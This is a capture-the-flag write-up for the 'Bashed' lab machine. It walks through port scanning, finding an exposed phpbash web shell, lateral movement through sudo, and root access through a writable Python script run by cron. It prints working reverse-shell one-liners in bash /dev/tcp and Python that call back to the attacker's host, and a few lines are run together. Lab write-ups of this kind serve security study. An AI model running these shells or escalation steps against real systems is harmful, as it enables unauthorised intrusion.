Bashed Writeup
0x01 Reconnaissance
Start with nmap.
1. TCP Scan
nmap -A -p- -oA nmap/tcp 10.10.10.68Only port 80 is open.
- 80: apache 2.4.18, possibly a vulnerable version, serving a web page.
2. UDP Scan
nmap -sU -A -p- -oA nmap/udp 10.10.10.68No open ports found.
The only open port is tcp 80.
0x02 Exploitation
1. Port 80
The home page introduces phpbash, a browser-based command line. Another page has an animated demonstration of it in use. This looks like a likely foothold.
There is nothing else useful on the pages, so it is time for directory enumeration. As usual, run dirbuster with its default wordlist. Since this is a PHP site, leave the extension at the default .php. The scan finds a suspicious file.
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt nohup bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
Opening it in the browser gives us a command line running as the ordinary user www-data.
A shell inside a web page is awkward, so get a reverse shell first.
Something seems to be restricted here. Neither bash nor nc works. I even started wondering whether the network was isolated, but a test with curl gets through. After trying the other scripts, a python reverse shell finally works.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'0x03 Privilege escalation
First check the sudo permissions.
sudo -lThis configuration means we can run any command as scriptmanager without a password.
Excellent. Run id to check, but it still reports an ordinary user.
sudo -u scriptmanager id
Trying every variation of su to reach root gets nowhere. They all ask for a password. Well, that was disappointing.
sudo -u scriptmanager su
sudo -u scriptmanager su -
sudo -u scriptmanager sudo su
suneeds a fully interactive TTY; otherwise it reportssu: must be run from a terminal. Switch to a TTY:
``` bash
python -c 'import pty;pty.spawn("/bin/bash")'
```
The sudo version is 1.8.16. I find CVE-2019-14287, but cannot exploit it. Does it also need the current user's password? With no obvious next step, think about how the box is designed. scriptmanager must be a way forward, but it is not an administrator. Perhaps we are meant to use scriptmanager to do something www-data cannot do.
Switch to scriptmanager.
sudo -u scriptmanager /bin/bashLook for files owned by scriptmanager. This leads to the scripts directory at the filesystem root.
There are two files inside. Their contents suggest that running a Python script owned by scriptmanager produces a text file owned by root. That means the Python file runs with root privileges, even if we do not yet know why.
Put a Python reverse shell in it and try running it. The shell still belongs to an ordinary user.
So the useful execution must come from something else. The modification time of test.txt keeps changing, which points to a root cron job repeatedly running test.py. Disconnect the shell, start a listener, and wait for the scheduled job.
Sure enough, a root shell arrives.
A better way to investigate this:
Use pspy to monitor root's cron jobs as an ordinary user.
Upload it to the target, set permissions withchmod 777 pspy64s, run./pspy64s, and watch the log for the scheduled task details.
>
Checking the cron configuration after gaining root confirms it.
>
0x04 Attack path
Reconnaissance -> directory enumeration -> 80.phpbash-RCE(www-data) -> switch user through a sudo misconfiguration(scriptmanager) -> crontab-python(root)